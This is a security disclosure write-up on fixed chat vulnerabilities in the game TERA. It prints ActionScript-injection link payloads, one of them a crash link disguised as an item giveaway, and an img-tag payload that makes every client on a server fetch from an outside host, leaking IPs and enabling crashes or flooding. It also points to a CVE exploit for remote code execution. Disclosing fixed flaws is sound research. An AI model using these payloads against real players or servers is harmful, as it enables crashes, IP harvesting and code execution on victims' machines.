Tera

Chat exploits

Tera chat exploit

Author:
Yukikoo & Wuaw

Contents

1 Introduction

All the vulnerabilities in this documents have been found, reported to the game publisher, and fixed in LIVE environment some months ago. The game UI is build using Scaleform and action-script 2, with a old version of flash player inside. An important information for the chat: it support a subset of html, and support some custom tag and functionalities.

2 Basis of the exploit

The flash binary of a still vulnerable chat UI file can be found here `https://github.com/neowutran/S1UI_chat2/blob/cd09d9dd2ddaab50a1b7cd73fda3bcb8b0e7d34d/S1UI_chat2.asm`. In this document, I will explain how to exploit 2 html tag, the link tag 'A' and the image tag 'img'.

2.1 Link tag

Example of a link you can receive normally in-game

```
<a href='asfunction:chatNameAction,Yukikoo@0@0'>Yukikoo</a>
```

The content of the 'href' is interpreted and executed, It call the function 'chatNameAction' with the parameters 'Yukikoo,0,0'.

2.2 Image tag

Example of a picture

```
<img src='img://abonormality__950165' width='64' height='64' vspace='-7'
 ↪  />
```

The content of the 'src' is interpreted and executed. 'img://' will call the libpng library.

3 Link tag exploit: Action-script injection and DOS

3.1 Introduction

In this section, exploits related to the link tag only. The target need to click on it to activate the payload.

3.2 Example

With this example, it will generate a link named 'Add a tab in the chat' that add a new tab in the chat of the person who click on the link. Link can be sent between players.

```
<a href='FSCommand:ToGame_Chat_RequestAddTab'>Add a tab in the chat</a>
```

With this new example, instead of calling some predefined function, we call directly the 'root' variable, and select the function we want. The effect of this link is pretty obvious.

```
<A HREF="asfunction:_root.OnGameEvent,OnGame_ResetUIPosition">Hi</A>
```

One of my favorite link is this one: We call the 'loadMovie' function, with a picture on the network. The flash file have been flagged to not use the network, so the network call fail, and the game client is killed.

```
<A HREF="asfunction:_root.loadMovie,
http://www.google.fr/images/branding/googleg/1x/googleg_standard_color_128dp.png"
>Get 200x Masterwork Alkahest</A>
```

So anyone clicking on this link is disconnected from the server.

4 Image tag exploit: DOS and Remote code execution

4.1 Introduction

The flash file have been tagged to not use the network (flash header). But it doesn't impact the library used by flash. This time, we speak about the libpng library used by flash.

In this example, the game client will call the flash internals (with libpng library), download and display the picture. You can send this tag on the global chat, every player connected to the server will automatically download the picture (and give their IP) without even needing to click on a link like the previous exploit.

4.2 Limited exploit

```
<img src="img://__http://diclah.com/~yukikoo/toto.png" />
```

This have multiple consequence:

- This system can be used to make the people on the server crash (By sending an image way too heavy).
- Combined with the global chat (megaphone), everyone on the server can be disconnected at once.

On a more hypothetical case (And I don't think anyone used it) it could have been used to DDOS website: A lot of player are connected to the server, 1 link like that will generate thousands simultaneous connections on a given web resource. So if someone send hundred or thousand image tag like that, it would generated a lot of traffic.

4.3 CVE-2017-3077

The chat system is also vulnerable to CVE-2017-3077.

- Vulnerability details `https://nvd.nist.gov/vuln/detail/CVE-2017-3077`
- PoC exploit `https://www.exploit-db.com/exploits/42248/`.

This CVE can be used to make everyone connected to the server crash. But a way bigger impact is: it's possible to do a Remote Code Execution on everyone running the game. The payload can be broadcasted to everyone connected to the server with the chat function 'megaphone', but also using the others chat channels. On some region, the game is executed as Administrator, so the impact of this CVE is even greater.

5 References

Some interesting link can be found here:

- `http://wiki.tesnexus.com/index.php/Understanding_UPK_side_UI_coding_-_XCOM:EU_2012`
- `https://docs.unrealengine.com/udk/Three/Scaleform.html`
- `https://help.adobe.com/en_US/AS2LCR/Flash_10.0/help.html?content=00000307.html#224605`
- `https://www.youtube.com/watch?v=6t4skDLLf_E`